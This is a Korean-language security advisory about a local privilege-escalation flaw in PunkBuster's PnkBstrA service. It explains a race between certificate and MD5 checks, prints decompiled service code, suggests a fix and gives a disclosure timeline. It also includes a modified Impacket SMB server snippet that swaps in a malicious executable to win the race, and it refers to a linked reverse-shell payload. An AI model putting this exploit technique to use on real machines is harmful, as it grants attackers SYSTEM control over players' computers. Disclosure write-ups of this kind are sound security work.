
PunkBuster LPI에서 NT AUTHORITY\SYSTEM으로

PunkBuster는 두 개의 서비스와 선택적 커널 드라이버로 설치됩니다.
PnkBstrA: 백그라운드에서 지속적으로 실행되며 PunkBuster 전체를 관리하는 서비스PnkBstrB: 보호되는 게임이 시작될 때 시작되는 서비스. A보다 더 많은 기능을 제공합니다.두 서비스는 비슷한 구조로, localhost의 UDP 포트 범위 [44301, 44400]에서 수신 대기합니다. 포트를 찾으면 HKLM:\SOFTWARE\Even Balance\PnkBstrA 또는 HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA의 Port 값에 기록됩니다.
각 요청은 1500바이트 길이의 전역 버퍼에 저장됩니다(단, NUL 종결자를 위해 1499바이트만 수신됩니다).
요청 데이터에는 표준 구조가 없지만, 일반적인 구조는 다음과 같습니다:
PnkBstrA의 요청 유형은 다음과 같습니다:
l: 로드: PnkBstrB를 시작하고 업데이트합니다.
PnkBstrB 실행 파일 경로를 (선택적) 인수로 받습니다.u: 언로드: PnkBstrB를 중지합니다.v: 버전: 단순히 버전을 반환합니다.m: 모니터: PID를 받아 프로세스에 PunkBuster 클라이언트 DLL(pbcl.dll)이 있는지 확인하고, 있으면 메모리를 덤프합니다.로드 핸들러(l)에는 TOCTOU 스타일의 취약점이 존재하여 NT AUTHORITY\SYSTEM으로의 로컬 권한 상승(LPE)으로 이어집니다.
핸들러의 흐름은 다음과 같습니다:
PnkBstrB 서비스를 삭제합니다.Even Balance, Inc.인지 확인합니다.C:\Windows\SysWOW64\PnkBstrB.exe 또는 C:\Windows\System32\PnkBstrB.exe로 복사하려 시도합니다.PnkBstrB 서비스를 LocalSystem으로 생성 및 시작합니다.문제는 PnkBstrA가 조작하는 파일이 각 작업마다 여러 번 다시 열리므로, 공격자가 작업 사이에 파일을 수정할 수 있는 상황이 발생한다는 점입니다.
이로 인해 파일의 인증서가 검증된 후 파일이 교체되어 악성 파일이 PnkBstrB 서비스의 실행 파일로 사용될 수 있습니다. 이 실행 파일을 통해 권한이 없는 사용자가 NT AUTHORITY\SYSTEM으로 권한 상승할 수 있습니다.
관련 역컴파일 코드는 다음과 같습니다:
int startPnkB(char *updateFileName) {
...
// 첫 번째 MD5 계산
firstMd5Fp = fopen(updateFileName, "r+b");
strcpy(firstMd5, "1");
if ( firstMd5Fp )
computeMD5(updateFileName, firstMd5);
nowMs = GetTickCount();
busyWaitExpiration = rand() % 800 + 300;
while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
;
fclose(firstMd5Fp);
// INJECTION POINT 1
// 인증서 확인
certificateFilePointer = fopen(updateFileName, "rb"); // 성공해야 함. 그렇지 않으면 이후 검사 실패
if ( g_Warnings >= 3 )
{
log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
if ( certificateFilePointer )
fclose(certificateFilePointer);
return 0;
}
if ( !checkValidCertificate(updateFileName) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
goto LABEL_49;
}
// 복사할 경로 생성
GetSystemDirectoryA(g_SystemDirectory, 246u);
if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
strncat(g_SystemDirectory, 260, "\\");
strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
_chmod(g_SystemDirectory, 0600);
strcpy(Str, g_SystemDirectory);
...
// INJECTION POINT 2
Sleep(750u);
if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
{
Sleep(750u);
for ( startTimea = 1; startTimea > 0; --startTimea )
{
Sleep(750u);
if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
break;
}
if ( startTimea < 1 )
{
LastError = GetLastError();
log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
fclose(certificateFilePointer);
return 0;
}
}
// 이전에 파일을 열었는지 확인
v9 = certificateFilePointer;
if ( certificateFilePointer )
{
fclose(certificateFilePointer);
v9 = fopen(g_SystemDirectory, "rb");
}
// 두 번째 MD5
strcpy(newMd5, "2");
if ( v9 )
computeMD5(g_SystemDirectory, newMd5);
if ( memcmp(firstMd5, newMd5, 0x10u) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
LABEL_41:
if ( v9 )
fclose(v9);
return 0;
}
ServiceA = CreateServiceA(
hSCManager,
"PnkBstrB",
"PnkBstrB",
0xF01FFu,
0x10u,
2u,
1u,
g_SystemDirectory,
0,
0,
0,
0,
0);
...
}
간단한 수정 방법은 먼저 파일을 안전한 임시 위치(예: PnkBstrB.exe.tmp)로 복사한 후 MD5 및 검사를 수행하는 것입니다. 이렇게 하면 악성 행위자가 파일을 편집할 수 없습니다. 또한 파일의 단일 복사본이 열리므로 SMB 악용을 방지할 수 있습니다.
공격 시나리오는 악성 파일을 제공하고, MD5가 계산될 때까지 기다린 후 파일을 원본 PnkBstrB.exe로 교체하여 WinVerifyTrust 및 인증서 검사를 통과시키고, 다시 악성 파일로 교체하여 두 번째 MD5를 통과시키고 파일이 복사 및 실행되도록 하는 것입니다.
그러나 이 시나리오는 실행하기가 매우 어렵습니다. 파일을 교체하는 것이 까다롭고, PnkBstrA가 파일을 열고 있는 동안 수정해도 변경 사항이 적용되지 않는 것으로 보이기 때문입니다.
코드에서 볼 수 있듯이 INJECTION POINT 1에서 코드를 예약하는 것이 어렵기 때문입니다. 여러 시간이 중요한 우선순위 스레드(일부는 지속적으로 파일을 교체하려고 시도하고, 다른 스레드는 동시 코어를 바쁜 대기로 차단)를 사용하면 가능할 수 있습니다.
또 다른 접근 방식은 PnkBstrB와 악성 파일 간의 MD5 충돌을 유발하는 것입니다. 먼저 합법적인 파일을 첫 번째 MD5의 후보로 사용하고 인증서를 확인합니다. 그러나 그 후 750ms 이상의 충분한 시간이 있으므로 파일을 우리의 파일로 교체할 수 있습니다. 그러면 두 번째 MD5가 통과되어 파일이 주입됩니다. 그러나 개발 중에는 충돌 생성을 기다리기 귀찮아서 다른 접근 방식을 선택했습니다.
이 코드는 Windows에 의존하며, Windows 자체 I/O 함수에 매핑되는 fopen을 사용합니다. 정의상 SMB 공유에 접근할 수 있음을 의미합니다. 또한 MSDN에서는 이 동작이 지원된다고 언급합니다:
fopen은 코드를 실행하는 시스템이 실행 시 공유 또는 매핑된 드라이브에 액세스할 수 있는 한 UNC 경로 및 매핑된 네트워크 드라이브와 관련된 경로를 허용합니다.
즉, 첫 번째 접근 방식을 사용할 수 있지만 코드가 SMB 공유에 의존하므로 파일이 요청된 횟수에 따라 다른 파일을 보냅니다.
Impacket의 smbserver를 수정하여 이 동작을 얻을 수 있습니다.
전체 .patch 파일은 여기에서 찾을 수 있습니다. 주요 변경 사항은 다음과 같습니다:
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
...
if not hasattr(smbServer, '_hist'):
smbServer._hist = {}
if pathName.endswith('.exe'):
if pathName not in smbServer._hist.keys():
smbServer._hist[pathName] = 0
smbServer._hist[pathName] += 1
if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
pathName = './PwnBstr.exe'
else:
pathName = './PnkBstrB.exe'
보시다시피, 파일을 처음 열 때(첫 번째 MD5) 또는 최소 8번째 열 때(파일 복사 이후) 클라이언트에 악성 파일을 보내고, 그 외의 경우에는 원본 파일을 보냅니다.
악성 파일의 코드는 여기에서 찾을 수 있으며, 간단한 hello world 서비스에 리버스 셸이 포함되어 있습니다.
https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220
EvenBalance에는 2025-02-15 이후 여러 번 다양한 방법으로 연락했지만 응답이 없었습니다.
이 문제는 2025-05-10에 완전히 공개되었습니다.